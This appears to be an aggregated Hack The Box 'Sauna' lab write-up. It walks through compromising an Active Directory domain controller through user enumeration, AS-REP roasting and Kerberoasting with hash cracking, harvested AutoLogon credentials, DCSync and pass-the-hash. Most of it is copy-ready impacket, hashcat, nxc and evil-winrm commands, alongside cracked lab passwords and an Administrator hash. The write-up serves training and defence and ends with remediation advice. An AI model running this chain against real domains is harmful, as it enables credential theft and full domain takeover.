Dev.to Security 🔐 Cybersecurity Sun, 25 Oct 2026 13:10:18 +0000 👁 0 📖 5 min read

HTB - Sauna Writeup - no Metasploit

Summary Team member names were listed on a web page, which allowed us to guess valid usernames. One user account had Kerberos pre-authentication disabled, letting us obtain a shell via AS-REP Roasting. Running winPEAS

Summary

Team member names were listed on a web page, which allowed us to guess valid usernames.
One user account had Kerberos pre-authentication disabled, letting us obtain a shell via AS-REP Roasting.
Running winPEAS revealed that the AutoLogon section still had a username and default password stored in plaintext.
Checking that account in BloodHound showed it had GetChangesAll rights over the DC, allowing us to perform a DCSync attack, retrieve the Administrator’s password hash, and gain full domain compromise.

Recommendation

Assuming this were a real environment, I would recommend the following.

Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
Remove plaintext AutoLogon credentials from the registry (Disable AutoLogon entirely unless there’s a hard operational requirement for it).
Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g., svc-alfresco being a member of Account Operators), and regularly audit ACLs for dangerous rights (GenericAll, WriteDacl, GetChangesAll, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports using nmap. Usually take following 3 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.180

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.180

Ports 135(RPC), 139(SMB) and 445(SMB) are open. Also, 53(DNS), 389(LDAP) and 88(Kerberos) are open, too. This suggests a Windows machine having an Active Directory domain.
Port 80(HTTP) is open. So, Web Application is running.
The domain is EGOTISTICAL-BANK.LOCAL.

Let’s check the DNS information.

dig @10.129.95.180 EGOTISTICAL-BANK.LOCAL any

We now know this machine’s hostname is “sauna,” and it’s the domain controller (DC) for the EGOTISTICAL-BANK.LOCAL domain.

Let's add the mapping between the IP and domain names to /etc/hosts.

echo "10.129.95.180 EGOTISTICAL-BANK.LOCAL sauna.EGOTISTICAL-BANK.LOCAL" | sudo tee -a /etc/hosts

Let's open the Port 80(HTTP).
http://egotistical-bank.local/

Let's enumerate pages.

feroxxuster -u http://EGOTISTICAL-BANK.LOCAL -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak

Not very interesting.

We can find the names of team members who may exist as users in this Active Directory at about.html.

Let's make users.txt considering several patterns as follows.

echo 'Fergus.Smith
Hugo.Bear
Steven.Kerb
Shaun.Coins
Bowie.Taylor
Sophie.Driver
fergus.smith
hugo.bear
steven.kerb
shaun.coins
bowie.taylor
sophie.driver
f.smith
h.bear
s.kerb
s.coins
b.taylor
s.driver
fergus
hugo
steven
shaun
bowie
sophie
smith
bear
kerb
coins
taylor
driver
fsmith
hbear
skerb
scoins
btaylor
sdriver
smithf
bearh
kerbs
coinss
taylorb
driverhs
fergussmith
hugobear
stevenkerb
shauncoins
bowietaylor
sophiedriver
smith.fergus
bear.hugo
kerb.steven
coins.shaun
taylor.bowie
driver.sophie
fergus_smith
hugo_bear
steven_kerb
shaun_coins
bowie_taylor
sophie_driver
f_smith
h_bear
s_kerb
s_coins
b_taylor
s_driver
fergus.s
hugo.b
steven.k
shaun.c
bowie.t
sophie.d
fs
hb
sk
sc
bt
sd' > users.txt

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.95.180 -u '' -p '' --shares --users --groups

Nothing.

nxc smb 10.129.95.180 -u 'guest' -p '' --shares --users --groups

Nothing.

Exploitation

Let’s check which usernames exist and, at the same time, look for any that have the misconfiguration of not requiring Kerberos pre-authentication.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt -dc-ip 10.129.95.180

There is!

Let's crack the hash!

echo '[email protected]:a4cb35dcaaa6e03aa5d71dddf341db1f$840f75360073578b8bbd5b38530bae390fb3778e343946c67c7600db3c96a28f9519dbd2a677fc26653ae903421d685a4f542aa1809edaeeecf0ec51a68fb2f1832e2abf0fc6e2dc65799028b22d07237e1c7fe3438410cdf3d762ef55d469aa3ce1f118f4fc08995ca61675195f5a1ea77b268e692dc773258bf2f7a742a6f49755574f081804f3a00ed19db027843bc5fe4eaff0bb561ac9dc5681b5f35d1caf7b207c4ebfbecfaa466fc26ea9028aa13403b78ea55127ff246bcfbfa3a13c5791f132043ddce642349877731088381f0a5c85ace49b4009442196f6319cba8c42e681b39c9c86db99f6ee859f6ce44d597bf0eceea7778e0a2f1ee9894858' > hash
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! fsmith:Thestrokes23

Let's check what we can do with the credential.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'; done

WINRM is available.

Let's login.

evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23
type C:\Users\FSmith\Desktop\user.txt

We got user.txt.

Privilege Escalation

Let's gather the information of this Active Directory using bloodhound.

nxc ldap 10.129.95.180 -u fsmith -p 'Thestrokes23' --bloodhound --collection All --dns-server 10.129.95.180 && mv ~/.nxc/logs/*bloodhound.zip .

No path found.

Look for any accounts that have an SPN set (i.e., Kerberoastable accounts).

impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt

Adjust the time.

D=$(ldapsearch -x -H ldap://10.129.95.180 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"

faketime "+25127 seconds" impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt

Let's crack the hash.

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! HSmith:Thestrokes23

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23'; done

Nothing the credential can do.

Let’s use winPEAS. I placed winPEASx64.exe in the directory where evil-winrm started, and uploaded it.

upload winPEASx64.exe

./winPEASx64.exe

There is a credential on Autologon section.

svc_loanmanager:Moneymakestheworldgoround!

Let's check what we can do with it.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!'; done

Nothing again.

Checking the username under Users, it is not svc_loanmanager but svc_loanmgr.

Let's try is again.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'; done

Yes!

According to bloodhound, svc_loanmgr has GetChangesAll over Domain Controllers, and it says, "You may perform a dcsync attack".

So, let's try a dcsync attack.

impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180

We get it!

evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

In BloodHound, when you click on a permission arrow (edge), the details of what you can do with it are shown on the right side.

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.

← News 🔐 Cybersecurity 🏠 Home